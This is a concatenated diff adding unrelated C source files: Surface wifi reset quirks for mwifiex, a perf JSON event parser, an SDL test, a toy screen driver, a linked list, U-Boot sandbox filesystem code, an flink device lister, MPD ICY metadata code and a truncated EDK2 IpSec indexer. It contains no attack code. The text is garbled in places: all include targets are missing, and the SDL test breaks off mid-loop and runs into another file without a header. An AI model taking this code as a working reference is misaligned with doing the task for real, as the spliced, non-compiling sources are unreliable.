DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_NAME, "Surface Pro 4"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Pro 5", + .matches = { + /* match for SKU here due to generic product name "Surface Pro" */ + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_SKU, "Surface_Pro_1796"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Pro 5 (LTE)", + .matches = { + /* match for SKU here due to generic product name "Surface Pro" */ + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_SKU, "Surface_Pro_1807"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Pro 6", + .matches = { + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_NAME, "Surface Pro 6"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Book 1", + .matches = { + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_NAME, "Surface Book"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Book 2", + .matches = { + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_NAME, "Surface Book 2"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Laptop 1", + .matches = { + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_NAME, "Surface Laptop"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + { + .ident = "Surface Laptop 2", + .matches = { + DMI_EXACT_MATCH(DMI_SYS_VENDOR, "Microsoft Corporation"), + DMI_EXACT_MATCH(DMI_PRODUCT_NAME, "Surface Laptop 2"), + }, + .driver_data = (void *)QUIRK_FW_RST_D3COLD, + }, + {} +}; + +void mwifiex_initialize_quirks(struct pcie_service_card *card) +{ + struct pci_dev *pdev = card->dev; + const struct dmi_system_id *dmi_id; + + dmi_id = dmi_first_match(mwifiex_quirk_table); + if (dmi_id) + card->quirks = (uintptr_t)dmi_id->driver_data; + + if (!card->quirks) + dev_info(&pdev->dev, "no quirks enabled\n"); + if (card->quirks & QUIRK_FW_RST_D3COLD) + dev_info(&pdev->dev, "quirk reset_d3cold enabled\n"); +} + +static void mwifiex_pcie_set_power_d3cold(struct pci_dev *pdev) +{ + dev_info(&pdev->dev, "putting into D3cold...\n"); + + pci_save_state(pdev); + if (pci_is_enabled(pdev)) + pci_disable_device(pdev); + pci_set_power_state(pdev, PCI_D3cold); +} + +static int mwifiex_pcie_set_power_d0(struct pci_dev *pdev) +{ + int ret; + + dev_info(&pdev->dev, "putting into D0...\n"); + + pci_set_power_state(pdev, PCI_D0); + ret = pci_enable_device(pdev); + if (ret) { + dev_err(&pdev->dev, "pci_enable_device failed\n"); + return ret; + } + pci_restore_state(pdev); + + return 0; +} + +int mwifiex_pcie_reset_d3cold_quirk(struct pci_dev *pdev) +{ + struct pci_dev *parent_pdev = pci_upstream_bridge(pdev); + int ret; + + /* Power-cycle (put into D3cold then D0) */ + dev_info(&pdev->dev, "Using reset_d3cold quirk to perform FW reset\n"); + + /* We need to perform power-cycle also for bridge of wifi because + * on some devices (e.g. Surface Book 1), the OS for some reasons + * can't know the real power state of the bridge. + * When tried to power-cycle only wifi, the reset failed with the + * following dmesg log: + * "Cannot transition to power state D0 for parent in D3hot". + */ + mwifiex_pcie_set_power_d3cold(pdev); + mwifiex_pcie_set_power_d3cold(parent_pdev); + + ret = mwifiex_pcie_set_power_d0(parent_pdev); + if (ret) + return ret; + ret = mwifiex_pcie_set_power_d0(pdev); + if (ret) + return ret; + + return 0; +} diff --git a/pool/shard011/C/0142402_jevents.c b/pool/shard011/C/0142402_jevents.c new file mode 100644 index 0000000000000000000000000000000000000000..e328c7299e723cb8813f904f2316145ef0e17d6f --- /dev/null +++ b/pool/shard011/C/0142402_jevents.c @@ -0,0 +1,278 @@ +/* Parse event JSON files */ + +/* + * Copyright (c) 2014, Intel Corporation + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +#define _GNU_SOURCE 1 +#include +#include +#include +#include +#include +#include +#include "jsmn.h" +#include "json.h" +#include "jevents.h" + +static const char *json_default_name(void) +{ + char *cache = getenv("XDG_CACHE_HOME"); + char *idstr = get_cpu_str(); + char *res = NULL; + char *home = NULL; + + if (!cache) { + home = getenv("HOME"); + if (!home || asprintf(&cache, "%s/.cache", home) < 0) + goto out; + } + if (cache && idstr) + asprintf(&res, "%s/pmu-events/%s.json", + cache, + idstr); + if (home) + free(cache); +out: + free(idstr); + return res; +} + +static void addfield(char *map, char **dst, const char *sep, + const char *a, jsmntok_t *bt) +{ + unsigned len = strlen(a) + 1 + strlen(sep); + int olen = *dst ? strlen(*dst) : 0; + int blen = bt ? json_len(bt) : 0; + + *dst = realloc(*dst, len + olen + blen); + if (!*dst) + exit(ENOMEM); + if (!olen) + *(*dst) = 0; + else + strcat(*dst, sep); + strcat(*dst, a); + if (bt) + strncat(*dst, map + bt->start, blen); +} + +static void fixname(char *s) +{ + for (; *s; s++) + *s = tolower(*s); +} + +static void fixdesc(char *s) +{ + char *e = s + strlen(s); + + /* Remove trailing dots that look ugly in perf list */ + --e; + while (e >= s && isspace(*e)) + --e; + if (*e == '.') + *e = 0; +} + +#define EXPECT(e, t, m) do { if (!(e)) { \ + jsmntok_t *loc = (t); \ + if (!(t)->start && (t) > tokens) \ + loc = (t) - 1; \ + fprintf(stderr, "%s:%d: " m ", got %s\n", fn, \ + json_line(map, loc), \ + json_name(t)); \ + goto out_free; \ +} } while (0) + +static struct msrmap { + const char *num; + const char *pname; +} msrmap[] = { + { "0x3F6", "ldlat=" }, + { "0x1A6", "offcore_rsp=" }, + { "0x1A7", "offcore_rsp=" }, + { NULL, NULL } +}; + +static struct field { + const char *field; + const char *kernel; +} fields[] = { + { "EventCode", "event=" }, + { "UMask", "umask=" }, + { "CounterMask", "cmask=" }, + { "Invert", "inv=" }, + { "AnyThread", "any=" }, + { "EdgeDetect", "edge=" }, + { "SampleAfterValue", "period=" }, + { NULL, NULL } +}; + +static void cut_comma(char *map, jsmntok_t *newval) +{ + int i; + + /* Cut off everything after comma */ + for (i = newval->start; i < newval->end; i++) { + if (map[i] == ',') + newval->end = i; + } +} + +static int match_field(char *map, jsmntok_t *field, int nz, + char **event, jsmntok_t *val) +{ + struct field *f; + jsmntok_t newval = *val; + + for (f = fields; f->field; f++) + if (json_streq(map, field, f->field) && nz) { + cut_comma(map, &newval); + addfield(map, event, ",", f->kernel, &newval); + return 1; + } + return 0; +} + +static struct msrmap *lookup_msr(char *map, jsmntok_t *val) +{ + jsmntok_t newval = *val; + static bool warned; + int i; + + cut_comma(map, &newval); + for (i = 0; msrmap[i].num; i++) + if (json_streq(map, &newval, msrmap[i].num)) + return &msrmap[i]; + if (!warned) { + warned = true; + fprintf(stderr, "Unknown MSR in event file %.*s\n", + json_len(val), map + val->start); + } + return NULL; +} + +/** + * json_events - Read JSON event file from disk and call event callback. + * @fn: File name to read or NULL for default. + * @func: Callback to call for each event + * @data: Abstract pointer to pass to func. + * + * The callback gets the data pointer, the event name, the event + * in perf format and a description passed. + * + * Call func with each event in the json file + * Return: -1 on failure, otherwise 0. + */ +int json_events(const char *fn, + int (*func)(void *data, char *name, char *event, char *desc), + void *data) +{ + int err = -EIO; + size_t size; + jsmntok_t *tokens, *tok; + int i, j, len; + char *map; + + if (!fn) + fn = json_default_name(); + tokens = parse_json(fn, &map, &size, &len); + if (!tokens) + return -EIO; + EXPECT(tokens->type == JSMN_ARRAY, tokens, "expected top level array"); + tok = tokens + 1; + for (i = 0; i < tokens->size; i++) { + char *event = NULL, *desc = NULL, *name = NULL; + struct msrmap *msr = NULL; + jsmntok_t *msrval = NULL; + jsmntok_t *precise = NULL; + jsmntok_t *obj = tok++; + + EXPECT(obj->type == JSMN_OBJECT, obj, "expected object"); + for (j = 0; j < obj->size; j += 2) { + jsmntok_t *field, *val; + int nz; + + field = tok + j; + EXPECT(field->type == JSMN_STRING, tok + j, + "Expected field name"); + val = tok + j + 1; + EXPECT(val->type == JSMN_STRING, tok + j + 1, + "Expected string value"); + + nz = !json_streq(map, val, "0"); + if (match_field(map, field, nz, &event, val)) { + /* ok */ + } else if (json_streq(map, field, "EventName")) { + addfield(map, &name, "", "", val); + } else if (json_streq(map, field, "BriefDescription")) { + addfield(map, &desc, "", "", val); + fixdesc(desc); + } else if (json_streq(map, field, "PEBS") && nz && + !strstr(desc, "(Precise Event)")) { + precise = val; + } else if (json_streq(map, field, "MSRIndex") && nz) { + msr = lookup_msr(map, val); + } else if (json_streq(map, field, "MSRValue")) { + msrval = val; + } else if (json_streq(map, field, "Errata") && + !json_streq(map, val, "null")) { + addfield(map, &desc, ". ", + " Spec update: ", val); + } else if (json_streq(map, field, "Data_LA") && nz) { + addfield(map, &desc, ". ", + " Supports address when precise", + NULL); + } + /* ignore unknown fields */ + } + if (precise) { + if (json_streq(map, precise, "2")) + addfield(map, &desc, " ", "(Must be precise)", + NULL); + else + addfield(map, &desc, " ", + "(Precise event)", NULL); + } + if (msr != NULL) + addfield(map, &event, ",", msr->pname, msrval); + fixname(name); + err = func(data, name, event, desc); + free(event); + free(desc); + free(name); + if (err) + break; + tok += j; + } + EXPECT(tok - tokens == len, tok, "unexpected objects at end"); + err = 0; +out_free: + free_json(map, size, tokens); + return err; +} diff --git a/pool/shard011/C/0142403_test_sdl3.c b/pool/shard011/C/0142403_test_sdl3.c new file mode 100644 index 0000000000000000000000000000000000000000..96a9bb9ddb113bba547667f81f6373d5a24b2de8 --- /dev/null +++ b/pool/shard011/C/0142403_test_sdl3.c @@ -0,0 +1,145 @@ +//Crosslink Copyright (C) 2016 NIAB EMR see included NOTICE file for details +// +// test SDL2 +// + +#include +#include +#include +#include +//#include + +#define setpixel(buff,x,y,w,r,g,b) ((buff)[(y)*(w)+(x)] = ((r)<<16)+((g)<<8)+(b)) + +int main(int argc, char**argv) +{ + SDL_Window* win = NULL; + SDL_Renderer* ren = NULL; + SDL_Texture* tex = NULL; + SDL_Event eve; + char*smoothing="nearest"; //nearest or linear + + unsigned width = 3000; + unsigned height = 4000; + unsigned i,r,g,b,x,y; + int sizew,sizeh; //actual window size + + uint32_t*buff=NULL; + + srand(time(NULL)); + + assert(buff = calloc(width*height,sizeof(uint32_t))); + + for(x=0; x + +enum ScreenColor{ + BLACK = 0, + BLUE, + GREEN, + CYAN, + RED, + MAGENTA, + BROWN, + LIGHTGREY, + DARKGRAY, + LIGHTBLUE, + LIGHTGREEN, + LIGHTCYAN, + LIGHTRED, + LIGHTMAGENTA, + LIGHTBROWN, + WHITE +}; + +static const int SCREEN_HEIGHT = 25; +static const int SCREEN_WIDTH = 80; +unsigned short *videomem = (unsigned short *)0xA0000000; + +static uint8 cur_style = (BLACK << 4 | LIGHTGREY); + +static uint8 cur_x = 0; +static uint8 cur_y = 0; + +static uint8 screen_getstyle(enum ScreenColor bg, enum ScreenColor fg) +{ + uint8 ret = bg; + ret <<= 4; + ret |= fg; + return ret; +} + +static void clear_line(uint8 lineno) +{ + uint8 c = cur_style >> 4; + uint16 blank; + + blank = screen_getstyle(c, c) << 8; + blank |= ' '; + memset16(videomem + SCREEN_WIDTH*(SCREEN_HEIGHT-1), blank, SCREEN_WIDTH); +} + +static void move_screen() +{ + memcpy((uint8*)videomem, (uint8*)(videomem + SCREEN_WIDTH), sizeof(uint16)*SCREEN_WIDTH*(SCREEN_HEIGHT-1)); +} + +static void mv_cur(char c) { + switch(c){ + case '\r': + cur_x = 0; + break; + case '\n': + cur_x = 0; + ++cur_y; + break; + default: + ++cur_x; + } + if (cur_x >= SCREEN_WIDTH) { + cur_y += cur_x / SCREEN_WIDTH; + cur_x %= SCREEN_WIDTH; + } + if (cur_y >= SCREEN_HEIGHT) { + move_screen(); + clear_line(SCREEN_HEIGHT-1); + cur_y = SCREEN_HEIGHT-1; + } +} + + +static void screen_putchar(char c, uint8 style) +{ + uint16 value; + value = style; + value <<= 8; + value |= c; + if (c >= ' ') + *(videomem + cur_y * SCREEN_WIDTH + cur_x) = value; + mv_cur(c); +} + +void screen_clear() +{ + uint8 c = cur_style >> 4; + uint16 blank = screen_getstyle(c, c) << 8; + blank |= ' '; + memset16(videomem, blank, SCREEN_HEIGHT * SCREEN_WIDTH); +} + +void screen_set_bg(uint8 color) +{ + cur_style &= 0x0f; + cur_style |= color << 4; +} + +void screen_set_fg(uint8 color) +{ + cur_style &= 0xf0; + cur_style |= color; +} + +void screen_putstr(char *c) +{ + while(*c) + screen_putchar(*c++, cur_style); +} + +int main() +{ + char msg[128]; + char buf[128]; + int iter = 0; + int descr; + + mmap(videomem, (void*)0xB8000); + cur_x = 0; + cur_y = 0; + + register_process("sys.drivers.screen"); + /* + screen_clear(); + */ + while(1) + { + descr = select(); + read(descr, (uint8*)msg, 64); + iter++; + kprintf(buf, "%x:%s\n", iter, msg); + screen_putstr(buf); + } + + return 0; +} diff --git a/pool/shard011/C/0142405_llist.c b/pool/shard011/C/0142405_llist.c new file mode 100644 index 0000000000000000000000000000000000000000..b3daeedda4cf91585803363342152d6a7dcd42c6 --- /dev/null +++ b/pool/shard011/C/0142405_llist.c @@ -0,0 +1,244 @@ +/**********************************************************doxygen*//** @file + * @brief Linked list implementation. + * + * Methods for working with a linked list structure. + * + * @author John LaRusic + * @ingroup lib + ****************************************************************************/ +#include "common.h" + +/** + * @brief Constructs a new item structure with the given value. + * @param item [out] pointer to item structure + * @param value [in] value to assign to new item + */ +int +construct_item(arrow_llist_item **item, int value); + +/**************************************************************************** + * Public function implementations + ****************************************************************************/ +void +arrow_llist_init(arrow_llist *list) +{ + list->head = NULL; + list->tail = NULL; + list->size = 0; +} + +void +arrow_llist_destruct(arrow_llist *list) +{ + int value; + while(list->size > 0) + arrow_llist_remove_head(list, &value); +} + +void +arrow_llist_swap(arrow_llist *a, arrow_llist *b) +{ + arrow_llist_item *head = a->head; + arrow_llist_item *tail = a->tail; + int size = a->size; + + a->head = b->head; + a->tail = b->tail; + a->size = b->size; + + b->head = head; + b->tail = tail; + b->size = size; +} + +int +arrow_llist_insert_head(arrow_llist *list, int value) +{ + arrow_llist_item *item; + if(!construct_item(&item, value)) + return ARROW_FAILURE; + + if(list->size == 0) + { + /* If list is empty, item becomes both head and tail */ + list->head = item; + list->tail = item; + item->next = NULL; + } + else + { + item->next = list->head; + list->head = item; + } + list->size++; + return ARROW_SUCCESS; +} + +int +arrow_llist_insert_tail(arrow_llist *list, int value) +{ + arrow_llist_item *item; + if(!construct_item(&item, value)) + return ARROW_FAILURE; + item->next = NULL; + + if(list->size == 0) + { + /* If list is empty, item becomes both head and tail */ + list->head = item; + list->tail = item; + } + else + { + list->tail->next = item; + list->tail = item; + } + list->size++; + return ARROW_SUCCESS; +} + +int +arrow_llist_insert_after(arrow_llist *list, arrow_llist_item *item, + int value) +{ + if(item == NULL) + { + arrow_print_error("Can't insert after a NULL item."); + return ARROW_FAILURE; + } + else if(item == list->tail) + { + return arrow_llist_insert_tail(list, value); + } + else + { + arrow_llist_item *new_item; + if(!construct_item(&new_item, value)) + return ARROW_FAILURE; + + new_item->next = item->next; + item->next = new_item; + + list->size++; + } + return ARROW_SUCCESS; +} + +void +arrow_llist_remove_head(arrow_llist *list, int *value) +{ + if(list->size == 0) + { + *value = INT_MIN; + } + else if(list->size == 1) + { + *value = list->head->data; + free(list->head); + list->head = NULL; + list->tail = NULL; + list->size = 0; + } + else + { + *value = list->head->data; + arrow_llist_item *next = list->head->next; + free(list->head); + list->head = next; + list->size--; + } +} + +void +arrow_llist_remove_tail(arrow_llist *list, int *value) +{ + if(list->size == 0) + { + *value = INT_MIN; + } + else if(list->size == 1) + { + arrow_llist_remove_head(list, value); + } + else + { + *value = list->tail->data; + + arrow_llist_item *cur = list->head; + while(cur->next != list->tail) + cur = cur->next; + + cur->next = NULL; + free(list->tail); + list->tail = cur; + list->size--; + } +} + +void +arrow_llist_remove_after(arrow_llist *list, arrow_llist_item *item, + int *value) +{ + if((list->size == 0) || (item == list->tail)) + { + *value = INT_MIN; + } + else if(item == list->head) + { + arrow_llist_remove_head(list, value); + } + else + { + *value = list->tail->data; + arrow_llist_item *next = item->next; + item->next = item->next->next; + free(next); + list->size--; + } +} + +void +arrow_llist_print(arrow_llist *list) +{ + printf("list (%d): ", list->size); + arrow_llist_item *cur = list->head; + while(cur != NULL) + { + printf("%d, ", cur->data); + cur = cur->next; + } + printf("EOL\n"); +} + +void +arrow_llist_to_array(arrow_llist *list, int *array) +{ + int i = 0; + arrow_llist_item *item = list->head; + while(item != NULL) + { + array[i] = item->data; + i++; + item = item->next; + } +} + + +/**************************************************************************** + * Private function implementations + ****************************************************************************/ +int +construct_item(arrow_llist_item **item, int value) +{ + if((*item = malloc(sizeof(arrow_llist_item))) == NULL) + { + arrow_print_error("Error allocating memory for arrow_llist_item."); + *item = NULL; + return ARROW_FAILURE; + } + + (*item)->data = value; + (*item)->next = NULL; + + return ARROW_SUCCESS; +} diff --git a/pool/shard011/C/0142406_sandboxfs.c b/pool/shard011/C/0142406_sandboxfs.c new file mode 100644 index 0000000000000000000000000000000000000000..dd028da8e32bbafaea23129b418cd319aaa0677e --- /dev/null +++ b/pool/shard011/C/0142406_sandboxfs.c @@ -0,0 +1,103 @@ +/* + * Copyright (c) 2012, Google Inc. + * + * SPDX-License-Identifier: GPL-2.0+ + */ + +#include +#include +#include + +int sandbox_fs_set_blk_dev(block_dev_desc_t *rbdd, disk_partition_t *info) +{ + return 0; +} + +long sandbox_fs_read_at(const char *filename, unsigned long pos, + void *buffer, unsigned long maxsize) +{ + ssize_t size; + int fd, ret; + + fd = os_open(filename, OS_O_RDONLY); + if (fd < 0) + return fd; + ret = os_lseek(fd, pos, OS_SEEK_SET); + if (ret == -1) { + os_close(fd); + return ret; + } + if (!maxsize) + maxsize = os_get_filesize(filename); + size = os_read(fd, buffer, maxsize); + os_close(fd); + + return size; +} + +long sandbox_fs_write_at(const char *filename, unsigned long pos, + void *buffer, unsigned long towrite) +{ + ssize_t size; + int fd, ret; + + fd = os_open(filename, OS_O_RDWR | OS_O_CREAT); + if (fd < 0) + return fd; + ret = os_lseek(fd, pos, OS_SEEK_SET); + if (ret == -1) { + os_close(fd); + return ret; + } + size = os_write(fd, buffer, towrite); + os_close(fd); + + return size; +} + +int sandbox_fs_ls(const char *dirname) +{ + struct os_dirent_node *head, *node; + int ret; + + ret = os_dirent_ls(dirname, &head); + if (ret) + return ret; + + for (node = head; node; node = node->next) { + printf("%s %10lu %s\n", os_dirent_get_typename(node->type), + node->size, node->name); + } + + return 0; +} + +void sandbox_fs_close(void) +{ +} + +int fs_read_sandbox(const char *filename, void *buf, int offset, int len) +{ + int len_read; + + len_read = sandbox_fs_read_at(filename, offset, buf, len); + if (len_read == -1) { + printf("** Unable to read file %s **\n", filename); + return -1; + } + + return len_read; +} + +int fs_write_sandbox(const char *filename, void *buf, int offset, int len) +{ + int len_written; + + len_written = sandbox_fs_write_at(filename, offset, buf, len); + if (len_written == -1) { + printf("** Unable to write file %s **\n", filename); + return -1; + } + + return len_written; +} diff --git a/pool/shard011/C/0142407_lsflink.c b/pool/shard011/C/0142407_lsflink.c new file mode 100644 index 0000000000000000000000000000000000000000..650bf7012058ac2f826b5f9a3a04e5e467a1e444 --- /dev/null +++ b/pool/shard011/C/0142407_lsflink.c @@ -0,0 +1,88 @@ +#include +#include +#include +#include +#include +#include + +#include + +#define DEFAULT_DEV "/dev/flink0" + +int main(int argc, char* argv[]) { + flink_dev* dev; + char* dev_name = DEFAULT_DEV; + bool verbose = false; + + // Error message if long dashes (en dash) are used + int i; + for (i=0; i < argc; i++) { + if ((argv[i][0] == 226) && (argv[i][1] == 128) && (argv[i][2] == 147)) { + fprintf(stderr, "Error: Invalid arguments. En dashes are used.\n"); + return -1; + } + } + + /* Compute command line arguments */ + int c; + while((c = getopt(argc, argv, "d:v")) != -1) { + switch(c) { + case 'd': // device file + dev_name = optarg; + break; + case 'v': // verbose mode + verbose = true; + break; + case '?': + if(optopt == 'd') fprintf(stderr, "Option -%c requires an argument.\n", optopt); + else if(isprint(optopt)) fprintf (stderr, "Unknown option `-%c'.\n", optopt); + else fprintf(stderr, "Unknown option character `\\x%x'.\n", optopt); + return -1; + default: + abort(); + } + } + + dev = flink_open(dev_name); + if(dev == NULL) { + printf("Failed to open device!\n"); + return -1; + } + + int nof_subdevs = flink_get_nof_subdevices(dev); + + printf("Subdevices of %s (%d):\n", dev_name, nof_subdevs); + + for(int i = 0; i < nof_subdevs; i++) { + flink_subdev* subdev = flink_get_subdevice_by_id(dev, i); + if(subdev) { + uint8_t id = flink_subdevice_get_id(subdev); + uint32_t baseaddr = flink_subdevice_get_baseaddr(subdev); + uint32_t memsize = flink_subdevice_get_memsize(subdev); + uint32_t lastaddr = baseaddr + memsize - 1; + uint16_t func = flink_subdevice_get_function(subdev); + uint8_t subfunc = flink_subdevice_get_subfunction(subdev); + uint8_t func_ver = flink_subdevice_get_function_version(subdev); + uint32_t nofchannels = flink_subdevice_get_nofchannels(subdev); + uint32_t uniqueId = flink_subdevice_get_unique_id(subdev); + + if(verbose) { + printf(" %3d:\n", id); + printf(" Address range: 0x%08x - 0x%08x\n", baseaddr, lastaddr); + printf(" Memory size: 0x%08x (%d bytes)\n", memsize, memsize); + printf(" Function: 0x%04x (%s)\n", func, flink_subdevice_id2str(func)); + printf(" Sub function: 0x%02x (%d)\n", subfunc, subfunc); + printf(" Function version: %d\n", func_ver); + printf(" Number of channels: %d\n", nofchannels); + printf(" Unique id: 0x%08x\n", uniqueId); + } + else { + printf(" %3d: 0x%08x - 0x%08x, Type %d.%d-%d, %d channels, Id 0x%08x\n", id, baseaddr, lastaddr, func, subfunc, func_ver, nofchannels, uniqueId); + } + } + } + + flink_close(dev); + + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0142408_icy_server.c b/pool/shard011/C/0142408_icy_server.c new file mode 100644 index 0000000000000000000000000000000000000000..b655ea49c47073d075e1e75ca6c6626097ee4512 --- /dev/null +++ b/pool/shard011/C/0142408_icy_server.c @@ -0,0 +1,148 @@ +/* + * Copyright (C) 2003-2010 The Music Player Daemon Project + * http://www.musicpd.org + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "config.h" +#include "icy_server.h" + +#include + +#include + +#undef G_LOG_DOMAIN +#define G_LOG_DOMAIN "icy_server" + +char* +icy_server_metadata_header(const char *name, + const char *genre, const char *url, + const char *content_type, int metaint) +{ + return g_strdup_printf("ICY 200 OK\r\n" + "icy-notice1:
This stream requires an audio player!
\r\n" /* TODO */ + "icy-notice2:MPD - The music player daemon
\r\n" + "icy-name: %s\r\n" /* TODO */ + "icy-genre: %s\r\n" /* TODO */ + "icy-url: %s\r\n" /* TODO */ + "icy-pub:1\r\n" + "icy-metaint:%d\r\n" + /* TODO "icy-br:%d\r\n" */ + "Content-Type: %s\r\n" + "Connection: close\r\n" + "Pragma: no-cache\r\n" + "Cache-Control: no-cache, no-store\r\n" + "\r\n", + name, + genre, + url, + metaint, + /* bitrate, */ + content_type); +} + +static char * +icy_server_metadata_string(const char *stream_title, const char* stream_url) +{ + gchar *icy_metadata; + guint meta_length; + + // The leading n is a placeholder for the length information + icy_metadata = g_strdup_printf("nStreamTitle='%s';" + "StreamUrl='%s';", + stream_title, + stream_url); + + g_return_val_if_fail(icy_metadata, NULL); + + meta_length = strlen(icy_metadata); + + meta_length--; // substract placeholder + + meta_length = ((int)meta_length / 16) + 1; + + icy_metadata[0] = meta_length; + + if (meta_length > 255) { + g_free(icy_metadata); + return NULL; + } + + return icy_metadata; +} + +struct page* +icy_server_metadata_page(const struct tag *tag, ...) +{ + va_list args; + const gchar *tag_items[TAG_NUM_OF_ITEM_TYPES]; + gint last_item, item; + guint position; + gchar *icy_string; + struct page *icy_metadata; + gchar stream_title[(1 + 255 - 28) * 16]; // Length + Metadata - + // "StreamTitle='';StreamUrl='';" + // = 4081 - 28 + + last_item = -1; + + va_start(args, tag); + while (1) { + enum tag_type type; + const gchar *tag_item; + + type = va_arg(args, enum tag_type); + + if (type == TAG_NUM_OF_ITEM_TYPES) + break; + + tag_item = tag_get_value(tag, type); + + if (tag_item) + tag_items[++last_item] = tag_item; + } + va_end(args); + + position = item = 0; + while (position < sizeof(stream_title) && item <= last_item) { + gint length = 0; + + length = g_strlcpy(stream_title + position, + tag_items[item++], + sizeof(stream_title) - position); + + position += length; + + if (item <= last_item) { + length = g_strlcpy(stream_title + position, + " - ", + sizeof(stream_title) - position); + + position += length; + } + } + + icy_string = icy_server_metadata_string(stream_title, ""); + + if (icy_string == NULL) + return NULL; + + icy_metadata = page_new_copy(icy_string, (icy_string[0] * 16) + 1); + + g_free(icy_string); + + return icy_metadata; +} diff --git a/pool/shard011/C/0142409_Indexer.c b/pool/shard011/C/0142409_Indexer.c new file mode 100644 index 0000000000000000000000000000000000000000..e32f3663c6eab5d6819a92c8c9faad2dbad8ad14 --- /dev/null +++ b/pool/shard011/C/0142409_Indexer.c @@ -0,0 +1,248 @@ +/** @file + The implementation of construct ENTRY_INDEXER in IpSecConfig application. + + Copyright (c) 2009 - 2010, Intel Corporation. All rights reserved.
+ + This program and the accompanying materials + are licensed and made available under the terms and conditions of the BSD License + which accompanies this distribution. The full text of the license may be found at + http://opensource.org/licenses/bsd-license.php. + + THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, + WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. + +**/ + +#include "IpSecConfig.h" +#include "Indexer.h" +#include "Helper.h" + +/** + Fill in SPD_ENTRY_INDEXER through ParamPackage list. + + @param[in, out] Indexer The pointer to the SPD_ENTRY_INDEXER structure. + @param[in] ParamPackage The pointer to the ParamPackage list. + + @retval EFI_SUCCESS Filled in SPD_ENTRY_INDEXER successfully. +**/ +EFI_STATUS +ConstructSpdIndexer ( + IN OUT SPD_ENTRY_INDEXER *Indexer, + IN LIST_ENTRY *ParamPackage + ) +{ + EFI_STATUS Status; + UINT64 Value64; + CONST CHAR16 *ValueStr; + + ValueStr = NULL; + + if (ShellCommandLineGetFlag (ParamPackage, L"-i")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-i"); + } else if (ShellCommandLineGetFlag (ParamPackage, L"-d")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-d"); + } else if (ShellCommandLineGetFlag (ParamPackage, L"-e")) { + ValueStr = ShellCommandLineGetValue (ParamPackage, L"-e"); + } else { + ASSERT (FALSE); + } + + ASSERT (ValueStr != NULL); + + Value64 = StrToUInteger (ValueStr, &Status); + if (!EFI_ERROR (Status)) { + Indexer->Index = (UINTN) Value64; + Indexer->Name = NULL; + } else { + UnicodeStrToAsciiStr (ValueStr, (CHAR8 *) Indexer->Name); + } + + return EFI_SUCCESS; +} + +/** + Fill in SAD_ENTRY_INDEXER through ParamPackage list. + + @param[in, out] Indexer The pointer to the SAD_ENTRY_INDEXER structure. + @param[in] ParamPackage The pointer to the ParamPackage list. + + @retval EFI_SUCCESS Filled in SPD_ENTRY_INDEXER successfully. + @retval EFI_INVALID_PARAMETER The mistaken user input in ParamPackage list. +**/ +EFI_STATUS +ConstructSadIndexer ( + IN OUT SAD_ENTRY_INDEXER *Indexer, + IN LIST_ENTRY *ParamPackage + ) +{ + EFI_STATUS 